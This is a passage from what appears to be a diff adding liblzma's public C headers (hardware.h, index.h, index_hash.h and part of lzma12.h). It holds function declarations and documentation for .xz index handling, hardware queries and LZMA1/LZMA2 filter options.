* \param allocator Custom memory allocator used to allocate the
* options. Set to NULL to use the default malloc(),
* and in case of an error, also free().
* \param props Input buffer containing the properties.
* \param props_size Size of the properties. This must be the exact
* size; giving too much or too little input will
* return LZMA_OPTIONS_ERROR.
*
* \return - LZMA_OK
* - LZMA_OPTIONS_ERROR
* - LZMA_MEM_ERROR
*/
extern LZMA_API(lzma_ret) lzma_properties_decode(
lzma_filter *filter, const lzma_allocator *allocator,
const uint8_t *props, size_t props_size) lzma_nothrow;
/**
* \brief Calculate encoded size of a Filter Flags field
*
* Knowing the size of Filter Flags is useful to know when allocating
* memory to hold the encoded Filter Flags.
*
* \param size Pointer to integer to hold the calculated size
* \param filter Filter ID and associated options whose encoded
* size is to be calculated
*
* \return - LZMA_OK: *size set successfully. Note that this doesn't
* guarantee that filter->options is valid, thus
* lzma_filter_flags_encode() may still fail.
* - LZMA_OPTIONS_ERROR: Unknown Filter ID or unsupported options.
* - LZMA_PROG_ERROR: Invalid options
*
* \note If you need to calculate size of List of Filter Flags,
* you need to loop over every lzma_filter entry.
*/
extern LZMA_API(lzma_ret) lzma_filter_flags_size(
uint32_t *size, const lzma_filter *filter)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Encode Filter Flags into given buffer
*
* In contrast to some functions, this doesn't allocate the needed buffer.
* This is due to how this function is used internally by liblzma.
*
* \param filter Filter ID and options to be encoded
* \param out Beginning of the output buffer
* \param out_pos out[*out_pos] is the next write position. This
* is updated by the encoder.
* \param out_size out[out_size] is the first byte to not write.
*
* \return - LZMA_OK: Encoding was successful.
* - LZMA_OPTIONS_ERROR: Invalid or unsupported options.
* - LZMA_PROG_ERROR: Invalid options or not enough output
* buffer space (you should have checked it with
* lzma_filter_flags_size()).
*/
extern LZMA_API(lzma_ret) lzma_filter_flags_encode(const lzma_filter *filter,
uint8_t *out, size_t *out_pos, size_t out_size)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Decode Filter Flags from given buffer
*
* The decoded result is stored into *filter. The old value of
* filter->options is not free()d.
*
* \return - LZMA_OK
* - LZMA_OPTIONS_ERROR
* - LZMA_MEM_ERROR
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_filter_flags_decode(
lzma_filter *filter, const lzma_allocator *allocator,
const uint8_t *in, size_t *in_pos, size_t in_size)
lzma_nothrow lzma_attr_warn_unused_result;

View File

@ -0,0 +1,64 @@
/**
* \file lzma/hardware.h
* \brief Hardware information
*
* Since liblzma can consume a lot of system resources, it also provides
* ways to limit the resource usage. Applications linking against liblzma
* need to do the actual decisions how much resources to let liblzma to use.
* To ease making these decisions, liblzma provides functions to find out
* the relevant capabilities of the underlying hardware. Currently there
* is only a function to find out the amount of RAM, but in the future there
* will be also a function to detect how many concurrent threads the system
* can run.
*
* \note On some operating systems, these function may temporarily
* load a shared library or open file descriptor(s) to find out
* the requested hardware information. Unless the application
* assumes that specific file descriptors are not touched by
* other threads, this should have no effect on thread safety.
* Possible operations involving file descriptors will restart
* the syscalls if they return EINTR.
*/
/*
* Author: Lasse Collin
*
* This file has been put into the public domain.
* You can do whatever you want with this file.
*
* See ../lzma.h for information about liblzma as a whole.
*/
#ifndef LZMA_H_INTERNAL
# error Never include this file directly. Use <lzma.h> instead.
#endif
/**
* \brief Get the total amount of physical memory (RAM) in bytes
*
* This function may be useful when determining a reasonable memory
* usage limit for decompressing or how much memory it is OK to use
* for compressing.
*
* \return On success, the total amount of physical memory in bytes
* is returned. If the amount of RAM cannot be determined,
* zero is returned. This can happen if an error occurs
* or if there is no code in liblzma to detect the amount
* of RAM on the specific operating system.
*/
extern LZMA_API(uint64_t) lzma_physmem(void) lzma_nothrow;
/**
* \brief Get the number of processor cores or threads
*
* This function may be useful when determining how many threads to use.
* If the hardware supports more than one thread per CPU core, the number
* of hardware threads is returned if that information is available.
*
* \brief On success, the number of available CPU threads or cores is
* returned. If this information isn't available or an error
* occurs, zero is returned.
*/
extern LZMA_API(uint32_t) lzma_cputhreads(void) lzma_nothrow;

686
src/include/lzma/index.h Normal file
View File

@ -0,0 +1,686 @@
/**
* \file lzma/index.h
* \brief Handling of .xz Index and related information
*/
/*
* Author: Lasse Collin
*
* This file has been put into the public domain.
* You can do whatever you want with this file.
*
* See ../lzma.h for information about liblzma as a whole.
*/
#ifndef LZMA_H_INTERNAL
# error Never include this file directly. Use <lzma.h> instead.
#endif
/**
* \brief Opaque data type to hold the Index(es) and other information
*
* lzma_index often holds just one .xz Index and possibly the Stream Flags
* of the same Stream and size of the Stream Padding field. However,
* multiple lzma_indexes can be concatenated with lzma_index_cat() and then
* there may be information about multiple Streams in the same lzma_index.
*
* Notes about thread safety: Only one thread may modify lzma_index at
* a time. All functions that take non-const pointer to lzma_index
* modify it. As long as no thread is modifying the lzma_index, getting
* information from the same lzma_index can be done from multiple threads
* at the same time with functions that take a const pointer to
* lzma_index or use lzma_index_iter. The same iterator must be used
* only by one thread at a time, of course, but there can be as many
* iterators for the same lzma_index as needed.
*/
typedef struct lzma_index_s lzma_index;
/**
* \brief Iterator to get information about Blocks and Streams
*/
typedef struct {
struct {
/**
* \brief Pointer to Stream Flags
*
* This is NULL if Stream Flags have not been set for
* this Stream with lzma_index_stream_flags().
*/
const lzma_stream_flags *flags;
const void *reserved_ptr1;
const void *reserved_ptr2;
const void *reserved_ptr3;
/**
* \brief Stream number in the lzma_index
*
* The first Stream is 1.
*/
lzma_vli number;
/**
* \brief Number of Blocks in the Stream
*
* If this is zero, the block structure below has
* undefined values.
*/
lzma_vli block_count;
/**
* \brief Compressed start offset of this Stream
*
* The offset is relative to the beginning of the lzma_index
* (i.e. usually the beginning of the .xz file).
*/
lzma_vli compressed_offset;
/**
* \brief Uncompressed start offset of this Stream
*
* The offset is relative to the beginning of the lzma_index
* (i.e. usually the beginning of the .xz file).
*/
lzma_vli uncompressed_offset;
/**
* \brief Compressed size of this Stream
*
* This includes all headers except the possible
* Stream Padding after this Stream.
*/
lzma_vli compressed_size;
/**
* \brief Uncompressed size of this Stream
*/
lzma_vli uncompressed_size;
/**
* \brief Size of Stream Padding after this Stream
*
* If it hasn't been set with lzma_index_stream_padding(),
* this defaults to zero. Stream Padding is always
* a multiple of four bytes.
*/
lzma_vli padding;
lzma_vli reserved_vli1;
lzma_vli reserved_vli2;
lzma_vli reserved_vli3;
lzma_vli reserved_vli4;
} stream;
struct {
/**
* \brief Block number in the file
*
* The first Block is 1.
*/
lzma_vli number_in_file;
/**
* \brief Compressed start offset of this Block
*
* This offset is relative to the beginning of the
* lzma_index (i.e. usually the beginning of the .xz file).
* Normally this is where you should seek in the .xz file
* to start decompressing this Block.
*/
lzma_vli compressed_file_offset;
/**
* \brief Uncompressed start offset of this Block
*
* This offset is relative to the beginning of the lzma_index
* (i.e. usually the beginning of the .xz file).
*
* When doing random-access reading, it is possible that
* the target offset is not exactly at Block boundary. One
* will need to compare the target offset against
* uncompressed_file_offset or uncompressed_stream_offset,
* and possibly decode and throw away some amount of data
* before reaching the target offset.
*/
lzma_vli uncompressed_file_offset;
/**
* \brief Block number in this Stream
*
* The first Block is 1.
*/
lzma_vli number_in_stream;
/**
* \brief Compressed start offset of this Block
*
* This offset is relative to the beginning of the Stream
* containing this Block.
*/
lzma_vli compressed_stream_offset;
/**
* \brief Uncompressed start offset of this Block
*
* This offset is relative to the beginning of the Stream
* containing this Block.
*/
lzma_vli uncompressed_stream_offset;
/**
* \brief Uncompressed size of this Block
*
* You should pass this to the Block decoder if you will
* decode this Block. It will allow the Block decoder to
* validate the uncompressed size.
*/
lzma_vli uncompressed_size;
/**
* \brief Unpadded size of this Block
*
* You should pass this to the Block decoder if you will
* decode this Block. It will allow the Block decoder to
* validate the unpadded size.
*/
lzma_vli unpadded_size;
/**
* \brief Total compressed size
*
* This includes all headers and padding in this Block.
* This is useful if you need to know how many bytes
* the Block decoder will actually read.
*/
lzma_vli total_size;
lzma_vli reserved_vli1;
lzma_vli reserved_vli2;
lzma_vli reserved_vli3;
lzma_vli reserved_vli4;
const void *reserved_ptr1;
const void *reserved_ptr2;
const void *reserved_ptr3;
const void *reserved_ptr4;
} block;
/*
* Internal data which is used to store the state of the iterator.
* The exact format may vary between liblzma versions, so don't
* touch these in any way.
*/
union {
const void *p;
size_t s;
lzma_vli v;
} internal[6];
} lzma_index_iter;
/**
* \brief Operation mode for lzma_index_iter_next()
*/
typedef enum {
LZMA_INDEX_ITER_ANY = 0,
/**<
* \brief Get the next Block or Stream
*
* Go to the next Block if the current Stream has at least
* one Block left. Otherwise go to the next Stream even if
* it has no Blocks. If the Stream has no Blocks
* (lzma_index_iter.stream.block_count == 0),
* lzma_index_iter.block will have undefined values.
*/
LZMA_INDEX_ITER_STREAM = 1,
/**<
* \brief Get the next Stream
*
* Go to the next Stream even if the current Stream has
* unread Blocks left. If the next Stream has at least one
* Block, the iterator will point to the first Block.
* If there are no Blocks, lzma_index_iter.block will have
* undefined values.
*/
LZMA_INDEX_ITER_BLOCK = 2,
/**<
* \brief Get the next Block
*
* Go to the next Block if the current Stream has at least
* one Block left. If the current Stream has no Blocks left,
* the next Stream with at least one Block is located and
* the iterator will be made to point to the first Block of
* that Stream.
*/
LZMA_INDEX_ITER_NONEMPTY_BLOCK = 3
/**<
* \brief Get the next non-empty Block
*
* This is like LZMA_INDEX_ITER_BLOCK except that it will
* skip Blocks whose Uncompressed Size is zero.
*/
} lzma_index_iter_mode;
/**
* \brief Calculate memory usage of lzma_index
*
* On disk, the size of the Index field depends on both the number of Records
* stored and how big values the Records store (due to variable-length integer
* encoding). When the Index is kept in lzma_index structure, the memory usage
* depends only on the number of Records/Blocks stored in the Index(es), and
* in case of concatenated lzma_indexes, the number of Streams. The size in
* RAM is almost always significantly bigger than in the encoded form on disk.
*
* This function calculates an approximate amount of memory needed hold
* the given number of Streams and Blocks in lzma_index structure. This
* value may vary between CPU architectures and also between liblzma versions
* if the internal implementation is modified.
*/
extern LZMA_API(uint64_t) lzma_index_memusage(
lzma_vli streams, lzma_vli blocks) lzma_nothrow;
/**
* \brief Calculate the memory usage of an existing lzma_index
*
* This is a shorthand for lzma_index_memusage(lzma_index_stream_count(i),
* lzma_index_block_count(i)).
*/
extern LZMA_API(uint64_t) lzma_index_memused(const lzma_index *i)
lzma_nothrow;
/**
* \brief Allocate and initialize a new lzma_index structure
*
* \return On success, a pointer to an empty initialized lzma_index is
* returned. If allocation fails, NULL is returned.
*/
extern LZMA_API(lzma_index *) lzma_index_init(const lzma_allocator *allocator)
lzma_nothrow;
/**
* \brief Deallocate lzma_index
*
* If i is NULL, this does nothing.
*/
extern LZMA_API(void) lzma_index_end(
lzma_index *i, const lzma_allocator *allocator) lzma_nothrow;
/**
* \brief Add a new Block to lzma_index
*
* \param i Pointer to a lzma_index structure
* \param allocator Pointer to lzma_allocator, or NULL to
* use malloc()
* \param unpadded_size Unpadded Size of a Block. This can be
* calculated with lzma_block_unpadded_size()
* after encoding or decoding the Block.
* \param uncompressed_size Uncompressed Size of a Block. This can be
* taken directly from lzma_block structure
* after encoding or decoding the Block.
*
* Appending a new Block does not invalidate iterators. For example,
* if an iterator was pointing to the end of the lzma_index, after
* lzma_index_append() it is possible to read the next Block with
* an existing iterator.
*
* \return - LZMA_OK
* - LZMA_MEM_ERROR
* - LZMA_DATA_ERROR: Compressed or uncompressed size of the
* Stream or size of the Index field would grow too big.
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_index_append(
lzma_index *i, const lzma_allocator *allocator,
lzma_vli unpadded_size, lzma_vli uncompressed_size)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Set the Stream Flags
*
* Set the Stream Flags of the last (and typically the only) Stream
* in lzma_index. This can be useful when reading information from the
* lzma_index, because to decode Blocks, knowing the integrity check type
* is needed.
*
* The given Stream Flags are copied into internal preallocated structure
* in the lzma_index, thus the caller doesn't need to keep the *stream_flags
* available after calling this function.
*
* \return - LZMA_OK
* - LZMA_OPTIONS_ERROR: Unsupported stream_flags->version.
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_index_stream_flags(
lzma_index *i, const lzma_stream_flags *stream_flags)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Get the types of integrity Checks
*
* If lzma_index_stream_flags() is used to set the Stream Flags for
* every Stream, lzma_index_checks() can be used to get a bitmask to
* indicate which Check types have been used. It can be useful e.g. if
* showing the Check types to the user.
*
* The bitmask is 1 << check_id, e.g. CRC32 is 1 << 1 and SHA-256 is 1 << 10.
*/
extern LZMA_API(uint32_t) lzma_index_checks(const lzma_index *i)
lzma_nothrow lzma_attr_pure;
/**
* \brief Set the amount of Stream Padding
*
* Set the amount of Stream Padding of the last (and typically the only)
* Stream in the lzma_index. This is needed when planning to do random-access
* reading within multiple concatenated Streams.
*
* By default, the amount of Stream Padding is assumed to be zero bytes.
*
* \return - LZMA_OK
* - LZMA_DATA_ERROR: The file size would grow too big.
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_index_stream_padding(
lzma_index *i, lzma_vli stream_padding)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Get the number of Streams
*/
extern LZMA_API(lzma_vli) lzma_index_stream_count(const lzma_index *i)
lzma_nothrow lzma_attr_pure;
/**
* \brief Get the number of Blocks
*
* This returns the total number of Blocks in lzma_index. To get number
* of Blocks in individual Streams, use lzma_index_iter.
*/
extern LZMA_API(lzma_vli) lzma_index_block_count(const lzma_index *i)
lzma_nothrow lzma_attr_pure;
/**
* \brief Get the size of the Index field as bytes
*
* This is needed to verify the Backward Size field in the Stream Footer.
*/
extern LZMA_API(lzma_vli) lzma_index_size(const lzma_index *i)
lzma_nothrow lzma_attr_pure;
/**
* \brief Get the total size of the Stream
*
* If multiple lzma_indexes have been combined, this works as if the Blocks
* were in a single Stream. This is useful if you are going to combine
* Blocks from multiple Streams into a single new Stream.
*/
extern LZMA_API(lzma_vli) lzma_index_stream_size(const lzma_index *i)
lzma_nothrow lzma_attr_pure;
/**
* \brief Get the total size of the Blocks
*
* This doesn't include the Stream Header, Stream Footer, Stream Padding,
* or Index fields.
*/
extern LZMA_API(lzma_vli) lzma_index_total_size(const lzma_index *i)
lzma_nothrow lzma_attr_pure;
/**
* \brief Get the total size of the file
*
* When no lzma_indexes have been combined with lzma_index_cat() and there is
* no Stream Padding, this function is identical to lzma_index_stream_size().
* If multiple lzma_indexes have been combined, this includes also the headers
* of each separate Stream and the possible Stream Padding fields.
*/
extern LZMA_API(lzma_vli) lzma_index_file_size(const lzma_index *i)
lzma_nothrow lzma_attr_pure;
/**
* \brief Get the uncompressed size of the file
*/
extern LZMA_API(lzma_vli) lzma_index_uncompressed_size(const lzma_index *i)
lzma_nothrow lzma_attr_pure;
/**
* \brief Initialize an iterator
*
* \param iter Pointer to a lzma_index_iter structure
* \param i lzma_index to which the iterator will be associated
*
* This function associates the iterator with the given lzma_index, and calls
* lzma_index_iter_rewind() on the iterator.
*
* This function doesn't allocate any memory, thus there is no
* lzma_index_iter_end(). The iterator is valid as long as the
* associated lzma_index is valid, that is, until lzma_index_end() or
* using it as source in lzma_index_cat(). Specifically, lzma_index doesn't
* become invalid if new Blocks are added to it with lzma_index_append() or
* if it is used as the destination in lzma_index_cat().
*
* It is safe to make copies of an initialized lzma_index_iter, for example,
* to easily restart reading at some particular position.
*/
extern LZMA_API(void) lzma_index_iter_init(
lzma_index_iter *iter, const lzma_index *i) lzma_nothrow;
/**
* \brief Rewind the iterator
*
* Rewind the iterator so that next call to lzma_index_iter_next() will
* return the first Block or Stream.
*/
extern LZMA_API(void) lzma_index_iter_rewind(lzma_index_iter *iter)
lzma_nothrow;
/**
* \brief Get the next Block or Stream
*
* \param iter Iterator initialized with lzma_index_iter_init()
* \param mode Specify what kind of information the caller wants
* to get. See lzma_index_iter_mode for details.
*
* \return If next Block or Stream matching the mode was found, *iter
* is updated and this function returns false. If no Block or
* Stream matching the mode is found, *iter is not modified
* and this function returns true. If mode is set to an unknown
* value, *iter is not modified and this function returns true.
*/
extern LZMA_API(lzma_bool) lzma_index_iter_next(
lzma_index_iter *iter, lzma_index_iter_mode mode)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Locate a Block
*
* If it is possible to seek in the .xz file, it is possible to parse
* the Index field(s) and use lzma_index_iter_locate() to do random-access
* reading with granularity of Block size.
*
* \param iter Iterator that was earlier initialized with
* lzma_index_iter_init().
* \param target Uncompressed target offset which the caller would
* like to locate from the Stream
*
* If the target is smaller than the uncompressed size of the Stream (can be
* checked with lzma_index_uncompressed_size()):
* - Information about the Stream and Block containing the requested
* uncompressed offset is stored into *iter.
* - Internal state of the iterator is adjusted so that
* lzma_index_iter_next() can be used to read subsequent Blocks or Streams.
* - This function returns false.
*
* If target is greater than the uncompressed size of the Stream, *iter
* is not modified, and this function returns true.
*/
extern LZMA_API(lzma_bool) lzma_index_iter_locate(
lzma_index_iter *iter, lzma_vli target) lzma_nothrow;
/**
* \brief Concatenate lzma_indexes
*
* Concatenating lzma_indexes is useful when doing random-access reading in
* multi-Stream .xz file, or when combining multiple Streams into single
* Stream.
*
* \param dest lzma_index after which src is appended
* \param src lzma_index to be appended after dest. If this
* function succeeds, the memory allocated for src
* is freed or moved to be part of dest, and all
* iterators pointing to src will become invalid.
* \param allocator Custom memory allocator; can be NULL to use
* malloc() and free().
*
* \return - LZMA_OK: lzma_indexes were concatenated successfully.
* src is now a dangling pointer.
* - LZMA_DATA_ERROR: *dest would grow too big.
* - LZMA_MEM_ERROR
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_index_cat(lzma_index *dest, lzma_index *src,
const lzma_allocator *allocator)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Duplicate lzma_index
*
* \return A copy of the lzma_index, or NULL if memory allocation failed.
*/
extern LZMA_API(lzma_index *) lzma_index_dup(
const lzma_index *i, const lzma_allocator *allocator)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Initialize .xz Index encoder
*
* \param strm Pointer to properly prepared lzma_stream
* \param i Pointer to lzma_index which should be encoded.
*
* The valid `action' values for lzma_code() are LZMA_RUN and LZMA_FINISH.
* It is enough to use only one of them (you can choose freely).
*
* \return - LZMA_OK: Initialization succeeded, continue with lzma_code().
* - LZMA_MEM_ERROR
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_index_encoder(
lzma_stream *strm, const lzma_index *i)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Initialize .xz Index decoder
*
* \param strm Pointer to properly prepared lzma_stream
* \param i The decoded Index will be made available via
* this pointer. Initially this function will
* set *i to NULL (the old value is ignored). If
* decoding succeeds (lzma_code() returns
* LZMA_STREAM_END), *i will be set to point
* to a new lzma_index, which the application
* has to later free with lzma_index_end().
* \param memlimit How much memory the resulting lzma_index is
* allowed to require. liblzma 5.2.3 and earlier
* don't allow 0 here and return LZMA_PROG_ERROR;
* later versions treat 0 as if 1 had been specified.
*
* Valid `action' arguments to lzma_code() are LZMA_RUN and LZMA_FINISH.
* There is no need to use LZMA_FINISH, but it's allowed because it may
* simplify certain types of applications.
*
* \return - LZMA_OK: Initialization succeeded, continue with lzma_code().
* - LZMA_MEM_ERROR
* - LZMA_PROG_ERROR
*
* liblzma 5.2.3 and older list also LZMA_MEMLIMIT_ERROR here
* but that error code has never been possible from this
* initialization function.
*/
extern LZMA_API(lzma_ret) lzma_index_decoder(
lzma_stream *strm, lzma_index **i, uint64_t memlimit)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Single-call .xz Index encoder
*
* \param i lzma_index to be encoded
* \param out Beginning of the output buffer
* \param out_pos The next byte will be written to out[*out_pos].
* *out_pos is updated only if encoding succeeds.
* \param out_size Size of the out buffer; the first byte into
* which no data is written to is out[out_size].
*
* \return - LZMA_OK: Encoding was successful.
* - LZMA_BUF_ERROR: Output buffer is too small. Use
* lzma_index_size() to find out how much output
* space is needed.
* - LZMA_PROG_ERROR
*
* \note This function doesn't take allocator argument since all
* the internal data is allocated on stack.
*/
extern LZMA_API(lzma_ret) lzma_index_buffer_encode(const lzma_index *i,
uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow;
/**
* \brief Single-call .xz Index decoder
*
* \param i If decoding succeeds, *i will point to a new
* lzma_index, which the application has to
* later free with lzma_index_end(). If an error
* occurs, *i will be NULL. The old value of *i
* is always ignored and thus doesn't need to be
* initialized by the caller.
* \param memlimit Pointer to how much memory the resulting
* lzma_index is allowed to require. The value
* pointed by this pointer is modified if and only
* if LZMA_MEMLIMIT_ERROR is returned.
* \param allocator Pointer to lzma_allocator, or NULL to use malloc()
* \param in Beginning of the input buffer
* \param in_pos The next byte will be read from in[*in_pos].
* *in_pos is updated only if decoding succeeds.
* \param in_size Size of the input buffer; the first byte that
* won't be read is in[in_size].
*
* \return - LZMA_OK: Decoding was successful.
* - LZMA_MEM_ERROR
* - LZMA_MEMLIMIT_ERROR: Memory usage limit was reached.
* The minimum required memlimit value was stored to *memlimit.
* - LZMA_DATA_ERROR
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_index_buffer_decode(lzma_index **i,
uint64_t *memlimit, const lzma_allocator *allocator,
const uint8_t *in, size_t *in_pos, size_t in_size)
lzma_nothrow;

View File

@ -0,0 +1,107 @@
/**
* \file lzma/index_hash.h
* \brief Validate Index by using a hash function
*
* Hashing makes it possible to use constant amount of memory to validate
* Index of arbitrary size.
*/
/*
* Author: Lasse Collin
*
* This file has been put into the public domain.
* You can do whatever you want with this file.
*
* See ../lzma.h for information about liblzma as a whole.
*/
#ifndef LZMA_H_INTERNAL
# error Never include this file directly. Use <lzma.h> instead.
#endif
/**
* \brief Opaque data type to hold the Index hash
*/
typedef struct lzma_index_hash_s lzma_index_hash;
/**
* \brief Allocate and initialize a new lzma_index_hash structure
*
* If index_hash is NULL, a new lzma_index_hash structure is allocated,
* initialized, and a pointer to it returned. If allocation fails, NULL
* is returned.
*
* If index_hash is non-NULL, it is reinitialized and the same pointer
* returned. In this case, return value cannot be NULL or a different
* pointer than the index_hash that was given as an argument.
*/
extern LZMA_API(lzma_index_hash *) lzma_index_hash_init(
lzma_index_hash *index_hash, const lzma_allocator *allocator)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Deallocate lzma_index_hash structure
*/
extern LZMA_API(void) lzma_index_hash_end(
lzma_index_hash *index_hash, const lzma_allocator *allocator)
lzma_nothrow;
/**
* \brief Add a new Record to an Index hash
*
* \param index Pointer to a lzma_index_hash structure
* \param unpadded_size Unpadded Size of a Block
* \param uncompressed_size Uncompressed Size of a Block
*
* \return - LZMA_OK
* - LZMA_DATA_ERROR: Compressed or uncompressed size of the
* Stream or size of the Index field would grow too big.
* - LZMA_PROG_ERROR: Invalid arguments or this function is being
* used when lzma_index_hash_decode() has already been used.
*/
extern LZMA_API(lzma_ret) lzma_index_hash_append(lzma_index_hash *index_hash,
lzma_vli unpadded_size, lzma_vli uncompressed_size)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Decode and validate the Index field
*
* After telling the sizes of all Blocks with lzma_index_hash_append(),
* the actual Index field is decoded with this function. Specifically,
* once decoding of the Index field has been started, no more Records
* can be added using lzma_index_hash_append().
*
* This function doesn't use lzma_stream structure to pass the input data.
* Instead, the input buffer is specified using three arguments. This is
* because it matches better the internal APIs of liblzma.
*
* \param index_hash Pointer to a lzma_index_hash structure
* \param in Pointer to the beginning of the input buffer
* \param in_pos in[*in_pos] is the next byte to process
* \param in_size in[in_size] is the first byte not to process
*
* \return - LZMA_OK: So far good, but more input is needed.
* - LZMA_STREAM_END: Index decoded successfully and it matches
* the Records given with lzma_index_hash_append().
* - LZMA_DATA_ERROR: Index is corrupt or doesn't match the
* information given with lzma_index_hash_append().
* - LZMA_BUF_ERROR: Cannot progress because *in_pos >= in_size.
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_index_hash_decode(lzma_index_hash *index_hash,
const uint8_t *in, size_t *in_pos, size_t in_size)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Get the size of the Index field as bytes
*
* This is needed to verify the Backward Size field in the Stream Footer.
*/
extern LZMA_API(lzma_vli) lzma_index_hash_size(
const lzma_index_hash *index_hash)
lzma_nothrow lzma_attr_pure;

420
src/include/lzma/lzma12.h Normal file
View File

@ -0,0 +1,420 @@
/**
* \file lzma/lzma12.h
* \brief LZMA1 and LZMA2 filters
*/
/*
* Author: Lasse Collin
*
* This file has been put into the public domain.
* You can do whatever you want with this file.
*
* See ../lzma.h for information about liblzma as a whole.
*/
#ifndef LZMA_H_INTERNAL
# error Never include this file directly. Use <lzma.h> instead.
#endif
/**
* \brief LZMA1 Filter ID
*
* LZMA1 is the very same thing as what was called just LZMA in LZMA Utils,
* 7-Zip, and LZMA SDK. It's called LZMA1 here to prevent developers from
* accidentally using LZMA when they actually want LZMA2.
*
* LZMA1 shouldn't be used for new applications unless you _really_ know
* what you are doing. LZMA2 is almost always a better choice.
*/
#define LZMA_FILTER_LZMA1 LZMA_VLI_C(0x4000000000000001)
/**
* \brief LZMA2 Filter ID
*
* Usually you want this instead of LZMA1. Compared to LZMA1, LZMA2 adds
* support for LZMA_SYNC_FLUSH, uncompressed chunks (smaller expansion
* when trying to compress uncompressible data), possibility to change
* lc/lp/pb in the middle of encoding, and some other internal improvements.
*/
#define LZMA_FILTER_LZMA2 LZMA_VLI_C(0x21)
/**
* \brief Match finders
*
* Match finder has major effect on both speed and compression ratio.
* Usually hash chains are faster than binary trees.
*
* If you will use LZMA_SYNC_FLUSH often, the hash chains may be a better
* choice, because binary trees get much higher compression ratio penalty
* with LZMA_SYNC_FLUSH.
*
* The memory usage formulas are only rough estimates, which are closest to
* reality when dict_size is a power of two. The formulas are more complex
* in reality, and can also change a little between liblzma versions. Use
* lzma_raw_encoder_memusage() to get more accurate estimate of memory usage.
*/
typedef enum {
LZMA_MF_HC3 = 0x03,
/**<
* \brief Hash Chain with 2- and 3-byte hashing
*
* Minimum nice_len: 3
*
* Memory usage:
* - dict_size <= 16 MiB: dict_size * 7.5
* - dict_size > 16 MiB: dict_size * 5.5 + 64 MiB
*/
LZMA_MF_HC4 = 0x04,
/**<
* \brief Hash Chain with 2-, 3-, and 4-byte hashing
*
* Minimum nice_len: 4
*
* Memory usage:
* - dict_size <= 32 MiB: dict_size * 7.5
* - dict_size > 32 MiB: dict_size * 6.5
*/
LZMA_MF_BT2 = 0x12,
/**<
* \brief Binary Tree with 2-byte hashing
*
* Minimum nice_len: 2
*
* Memory usage: dict_size * 9.5
*/
LZMA_MF_BT3 = 0x13,
/**<
* \brief Binary Tree with 2- and 3-byte hashing
*
* Minimum nice_len: 3
*
* Memory usage:
* - dict_size <= 16 MiB: dict_size * 11.5
* - dict_size > 16 MiB: dict_size * 9.5 + 64 MiB
*/
LZMA_MF_BT4 = 0x14
/**<
* \brief Binary Tree with 2-, 3-, and 4-byte hashing
*
* Minimum nice_len: 4
*
* Memory usage:
* - dict_size <= 32 MiB: dict_size * 11.5
* - dict_size > 32 MiB: dict_size * 10.5
*/
} lzma_match_finder;
/**
* \brief Test if given match finder is supported
*
* Return true if the given match finder is supported by this liblzma build.
* Otherwise false is returned. It is safe to call this with a value that
* isn't listed in lzma_match_finder enumeration; the return value will be
* false.
*
* There is no way to list which match finders are available in this
* particular liblzma version and build. It would be useless, because
* a new match finder, which the application developer wasn't aware,
* could require giving additional options to the encoder that the older
* match finders don't need.
*/
extern LZMA_API(lzma_bool) lzma_mf_is_supported(lzma_match_finder match_finder)
lzma_nothrow lzma_attr_const;
/**
* \brief Compression modes
*
* This selects the function used to analyze the data produced by the match
* finder.
*/
typedef enum {
LZMA_MODE_FAST = 1,
/**<
* \brief Fast compression
*
* Fast mode is usually at its best when combined with
* a hash chain match finder.
*/
LZMA_MODE_NORMAL = 2
/**<
* \brief Normal compression
*
* This is usually notably slower than fast mode. Use this
* together with binary tree match finders to expose the
* full potential of the LZMA1 or LZMA2 encoder.
*/
} lzma_mode;
/**
* \brief Test if given compression mode is supported
*
* Return true if the given compression mode is supported by this liblzma
* build. Otherwise false is returned. It is safe to call this with a value
* that isn't listed in lzma_mode enumeration; the return value will be false.
*
* There is no way to list which modes are available in this particular
* liblzma version and build. It would be useless, because a new compression
* mode, which the application developer wasn't aware, could require giving
* additional options to the encoder that the older modes don't need.
*/
extern LZMA_API(lzma_bool) lzma_mode_is_supported(lzma_mode mode)
lzma_nothrow lzma_attr_const;
/**
* \brief Options specific to the LZMA1 and LZMA2 filters
*
* Since LZMA1 and LZMA2 share most of the code, it's simplest to share
* the options structure too. For encoding, all but the reserved variables
* need to be initialized unless specifically mentioned otherwise.
* lzma_lzma_preset() can be used to get a good starting point.
*
* For raw decoding, both LZMA1 and LZMA2 need dict_size, preset_dict, and
* preset_dict_size (if preset_dict != NULL). LZMA1 needs also lc, lp, and pb.
*/
typedef struct {
/**
* \brief Dictionary size in bytes
*
* Dictionary size indicates how many bytes of the recently processed
* uncompressed data is kept in memory. One method to reduce size of
* the uncompressed data is to store distance-length pairs, which
* indicate what data to repeat from the dictionary buffer. Thus,
* the bigger the dictionary, the better the compression ratio
* usually is.
*
* Maximum size of the dictionary depends on multiple things:
* - Memory usage limit
* - Available address space (not a problem on 64-bit systems)
* - Selected match finder (encoder only)
*
* Currently the maximum dictionary size for encoding is 1.5 GiB
* (i.e. (UINT32_C(1) << 30) + (UINT32_C(1) << 29)) even on 64-bit
* systems for certain match finder implementation reasons. In the
* future, there may be match finders that support bigger
* dictionaries.
*
* Decoder already supports dictionaries up to 4 GiB - 1 B (i.e.
* UINT32_MAX), so increasing the maximum dictionary size of the
